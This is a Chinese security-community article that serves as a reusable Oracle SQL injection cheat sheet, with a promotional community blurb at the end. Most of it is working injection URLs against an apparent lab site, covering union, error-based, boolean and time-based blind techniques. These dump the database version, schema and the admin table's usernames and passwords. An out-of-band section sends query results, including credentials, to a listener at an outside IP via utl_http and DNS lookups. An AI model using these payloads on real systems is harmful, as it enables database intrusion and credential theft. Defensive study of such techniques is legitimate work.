看了这个,谁还怕Oracle注入?(有彩蛋)

  • A+
所属分类:安全文章

作者:_清心

https://www.secquan.org/Prime/1069599

文章虽公开,转载请保留作者和出处,需全文转载请留言

仅供技术交流,勿做非法用途

看了这个,谁还怕Oracle注入?(有彩蛋)




花了很多时间整理了自己做了下oracle的注入总结 

方便大家随时拿出来用,形文用了一整天,自我感觉还是挺全的

手工还是有用 waf多嘛~ 后面再继续分享bypass waf和执行命令的骚姿势




目录

1. Oracle联合注入总结
2. Oracle报错注入总结
3. Oracle基于布尔的盲注总结
4. Oracle基于延时的盲注总结
5. Oracle注入之带外通信




1. Oracle联合注入总结


Oracle常规联合注入
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。

Oracle对于MYSQL、MSSQL来说意味着更大的数据量,更大的权限。

oracle注入中需要注意的一些小点:

  • Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你union select的要和前面的字段类型一样,我们可以用null来代替站位。

  • Oracle和mysql不一样,分页中没有limit,而是使用三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”)


    例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0



  • Oracle的单行注释符号是--,多行注释符号/**/

        依旧提交order by 去猜测显示当前页面所用的SQL查询了多少个字段,也就是确认查询字段数。

http://www.jsporcle.com/a.jsp?username=SMITH%27%20order%20by%208%20--


看了这个,谁还怕Oracle注入?(有彩蛋)

http://www.jsporcle.com/a.jsp?username=SMITH%27%20union%20select%20null,null,null,null,null,null,null,null%20from%20dual%20--

    


看了这个,谁还怕Oracle注入?(有彩蛋)


  • 爆数据库版本

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null from dual --


  • 其他查询信息语句:

当前用户权限 (select * from sessionroles)当前数据库版本 ( select banner from sys.v$version where rownum=1服务器出口IP (用utl_http.request 可以实现)服务器监听IP (select utl_inaddr.get_host_address from dual)服务器操作系统 (select member from v$logfile where rownum=1服务器sid (select instance_name from v$instance)当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)当前用户 (SELECT user FROM dual)


  • 爆库名:

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual --

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual --


看了这个,谁还怕Oracle注入?(有彩蛋)


看了这个,谁还怕Oracle注入?(有彩蛋)


  • 爆表: ##### 表 一定要是大写的

    #######查询第一个表

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual --


看了这个,谁还怕Oracle注入?(有彩蛋)


  • 爆列 ##### 查询 表 ADMIN第一个列

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --


    第二个列#

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --


    查询表ADMIN 第三个列#

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1),null,null,null,null,null,null from dual --

看了这个,谁还怕Oracle注入?(有彩蛋)

查询出来列有ID USERNAME PASSWORD#

  • 爆数据

    http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual -- http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(SELECT USERNAME FROM ADMIN),(SELECT PASSWORD FROM ADMIN),null,null,null,null,null from dual --


看了这个,谁还怕Oracle注入?(有彩蛋)



一些常用的查询语句: 

当前用户:SELECT user FROM dual;列出所有用户:SELECT username FROM all_users ORDER BY username;列出数据库SELECT DISTINCT owner FROM all_tables;列出表名:SELECT table_name FROM all_tables;SELECT owner, table_name FROM all_tables;查询表所有列SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';定位文件SELECT name FROM V$DATAFILE;




2. Oracle报错注入总结


  • 前言
    在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

    使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。


  • 判断注入

http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 --http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --




看了这个,谁还怕Oracle注入?(有彩蛋)

0x01 报错函数注入

  • utl_inaddr.get_host_name() 进行报错注入

and 1=utl_inaddr.get_host_name((select user from dual))-- http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。


我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。


通常非常重要的信息有:


看了这个,谁还怕Oracle注入?(有彩蛋)


  • ctxsys.drithsx.sn()进行报错注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --


看了这个,谁还怕Oracle注入?(有彩蛋)


XMLType()进行报错注入

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null -- http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --


看了这个,谁还怕Oracle注入?(有彩蛋)

  • dbms_xdb_version.checkin()进行报错注入

    查询版本信息

    and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

    http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --


看了这个,谁还怕Oracle注入?(有彩蛋)



  • bms_xdb_version.makeversioned()进报错注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --


  • dbms_xdb_version.uncheckout()进行报错注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --


  • dbms_utility.sqlid_to_sqlhash()进行报错注入

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --


  • ordsys.ord_dicom.getmappingxpath()进行报错注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--


decode进行报错注入#


这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --


0x02 报错函数注入数据


Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名


  • 爆库 第一行记录

    http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1from dual))--

看了这个,谁还怕Oracle注入?(有彩蛋)


  • 爆表 第一行第一个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

看了这个,谁还怕Oracle注入?(有彩蛋)

第二个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --


看了这个,谁还怕Oracle注入?(有彩蛋)


报错admin表的 用户和密码

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--


看了这个,谁还怕Oracle注入?(有彩蛋)


其他报错函数大同小异。





3. Oracle基于布尔的盲注总结


0x01 decode 函数布尔盲注

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3

当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多


使用方法:

    比较大小

select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值


sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1


例如:
变量1=10,变量2=20
则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。

SQL> select decode(sign(10-20),-1,10,20) from dual;DECODE(SIGN(10-20),-1,10,20)----------------------------                          10



看了这个,谁还怕Oracle注入?(有彩蛋)

注入点中decode盲注应用#


  • 判断是否是SCOTT用户

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(user,'SCOTT',1,0) from dual) --

看了这个,谁还怕Oracle注入?(有彩蛋)

  • 当前也可以用字符逐个猜解,利用到substr()函数

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --


看了这个,谁还怕Oracle注入?(有彩蛋)

这里只需要替换我们需要查的内容即可 不一一列举了,比如查询Oracle版本,判断版本的字符串第一个字符是否是O

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O',1,0from dual) --


看了这个,谁还怕Oracle注入?(有彩蛋)


获取当前用户(select user from dual)
获取当前版本
(select banner from sys.v_$version where rownum=1)获取当前admin表的帐号和密码
(select username||password from admin)获取字符长度
select length(user) from dual --select * from art where id=1 and 6=(select length(user) from dual) --

http://www.jsporcle.com/news.jsp?id=1 and 6=(select length(user) from dual) --


看了这个,谁还怕Oracle注入?(有彩蛋)
当前用户第一个字母的是否等于S 等于返回1否则返回0

(select decode(substr(user,1,1),'S',1,0) from dual) --(select decode(substr(user,2,1),'Y',1,0) from dual) --(select decode(substr(user,3,1),'S',1,0) from dual) --(select decode(substr(user,4,1),'T',1,0) from dual) --(select decode(substr(user,5,1),'E',1,0) from dual) --(select decode(substr(user,6,1),'N',1,0) from dual) --



  • 测试当前用户语句

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

  • 获取当前admin表的帐号和密码

select * from art where id=1 and 1=(select decode(substr((select username||password from admin),1,1),'a',1,0) from dual)http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),1,1),'a',1,0from dual)


看了这个,谁还怕Oracle注入?(有彩蛋)

  • 判断字符的字符

abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.


查询第二个的时候

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),2,1),'d',1,0from dual) --

看了这个,谁还怕Oracle注入?(有彩蛋)

  • 大概知道这些函数的用法 跑脚本爆破即可 burpsuite为例

看了这个,谁还怕Oracle注入?(有彩蛋)

看了这个,谁还怕Oracle注入?(有彩蛋)

看了这个,谁还怕Oracle注入?(有彩蛋)
0x02 instr函数布尔盲注
instr函数的使用,从一个字符串中查找指定子串的位置。例如:


看了这个,谁还怕Oracle注入?(有彩蛋)


看了这个,谁还怕Oracle注入?(有彩蛋)
从1开始算 d排第四所以返回4

盲注中的应用:

http://www.jsporcle.com/news.jsp?id=1 and 1=(instr((select user from dual),'SYS')) --

看了这个,谁还怕Oracle注入?(有彩蛋)

  • BURP爆破用户名

看了这个,谁还怕Oracle注入?(有彩蛋)

看了这个,谁还怕Oracle注入?(有彩蛋)
0x03 通用盲注方法 逐字猜解
先获取数据长度

37=(select length(username||password) from admin)

  • 转码测试


http://www.jsporcle.com/news.jsp?id=1 and 37=(select length(username%7c%7cpassword) from admin)-- select * from art where id=1 and 37=(select length(username||passwordfrom admin);

看了这个,谁还怕Oracle注入?(有彩蛋)

  • 猜解ascii码

http://www.jsporcle.com/news.jsp?id=1 and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97 --

看了这个,谁还怕Oracle注入?(有彩蛋)

  • 同样 burp或脚本爆破即可

看了这个,谁还怕Oracle注入?(有彩蛋)#

猜解结果: admine10adc3949ba59abbe56e057f20f883e


4. Oracle基于延时的盲注总结


0x00 前言
oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;


oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

  • 0x01 DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注
    DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

    首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

    在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

    dbms_pipe.receive_message('RDS', 10)
    DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

  • 延迟盲注中的应用:

    http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--
    http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--


看了这个,谁还怕Oracle注入?(有彩蛋)

如果页面延时10秒返回,即存在注入。

来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:

DBMS_PIPE.RECEIVE_MESSAGE ( pipename IN VARCHAR2, timeout IN INTEGER DEFAULT maxwait)RETURN INTEGER;



可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)#

  • 0x02 decode函数延时盲注
    decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。

    在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。


    and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0from dual) -- http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual)


看了这个,谁还怕Oracle注入?(有彩蛋)

当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:


(select count(*) from all_objects)http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0from dual) and '1'='1'


看了这个,谁还怕Oracle注入?(有彩蛋)

  • 通过这种明显时间差也能判断注入表达式的结果。

看了这个,谁还怕Oracle注入?(有彩蛋)



5. Oracle注入之带外通信


  • Oracle注入之带外通信和DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似。

    下面介绍这个技术中常用的函数和使用。

    环境这里准备两台测试,一台注入点的靶机,一台接受回显数据的平台。


接受的数据的靶机:   nc -vvlp 2008


看了这个,谁还怕Oracle注入?(有彩蛋)

0x01 utl_http.request()函数


通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。

  • 检测是否支持utl_http.request
    utl_http.request 页面正常 支持


    http://www.jsporcle.com/news.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

看了这个,谁还怕Oracle注入?(有彩蛋)

  • 反弹注入命令

and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --

注意|| 注意转码%7C%7C#

例如这里使用

select banner from sys.v_$version where rownum=1查询oracle数据库版本指纹 http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--


看了这个,谁还怕Oracle注入?(有彩蛋)

GET /Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Productio n HTTP/1.1

  • 查看当前连接用户 select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual


http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 --

看了这个,谁还怕Oracle注入?(有彩蛋)

  • 查询系统用户

http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c (select user from dual))=1--http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c(select member from v$logfile where rownum=1))=1--http://www.jsporcle.com/news.jsp?id=1%20and%20%20utl_http.request(%27http://192.168.5.28:2019/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--

看了这个,谁还怕Oracle注入?(有彩蛋)


  • 查询admin的帐号和密码

http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7c%7c(select username%7c%7cpassword from admin))=1 --

看了这个,谁还怕Oracle注入?(有彩蛋)

以下是常用的一些命令。#

当前用户权限 (select * from session_roles)当前数据库版本 ( select banner from sys.v_$version where rownum=1)服务器出口IP (用utl_http.request 可以实现)服务器监听IP (select utl_inaddr.get_host_address from dual)服务器操作系统 (select member from v$logfile where rownum=1)服务器sid ( 远程连接的话需要, select instance_name fromv$instance;)当前连接用户 (select SYS_CONTEXT ('USERENV''CURRENT_USER')from dual)



  • 0x02 utl_inaddr.get_host_address()函数

and (select utl_inaddr.get_host_address((select user fromdual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --


  • 0x03 SYS.DBMS_LDAP.INIT()函数

and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --


三种函数用法效果大同小异,具体视情况使用即可。#


后续总结请关注圈子社区官方微信公众号! 

 



文末彩蛋


放一张社区2019最新战袍的模特合影图,猜猜哪个是团长?


看了这个,谁还怕Oracle注入?(有彩蛋)


为了报复团长偷偷去魔都不带我的私仇。

爆个料吧~七月~不单有干货沙龙还有实(pian)战(qian)提升班~ 

大郑州一个十多所高校小姐姐围绕的地方 安排上 靶场+实训=大佬 




欢迎关注 圈子社区官方公众号,不花一混钱,享受最新实战动态!


公益,鲜活,专业

关于圈子社区
我们是一个非盈利,封闭的白帽子技术交流社区。目前成员2000+,拥有业内首个自主研发的红蓝实战靶场(公安部已列装),体系化学习和燃爆的交流气氛助你成为真正的大佬,社区专注实战,崇尚技术,如果你也是实战派,请关注我们。
社区地址:(请使用https访问)
https://www.secquan.org

看了这个,谁还怕Oracle注入?(有彩蛋)


本文始发于微信公众号(Secquan圈子社区):看了这个,谁还怕Oracle注入?(有彩蛋)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: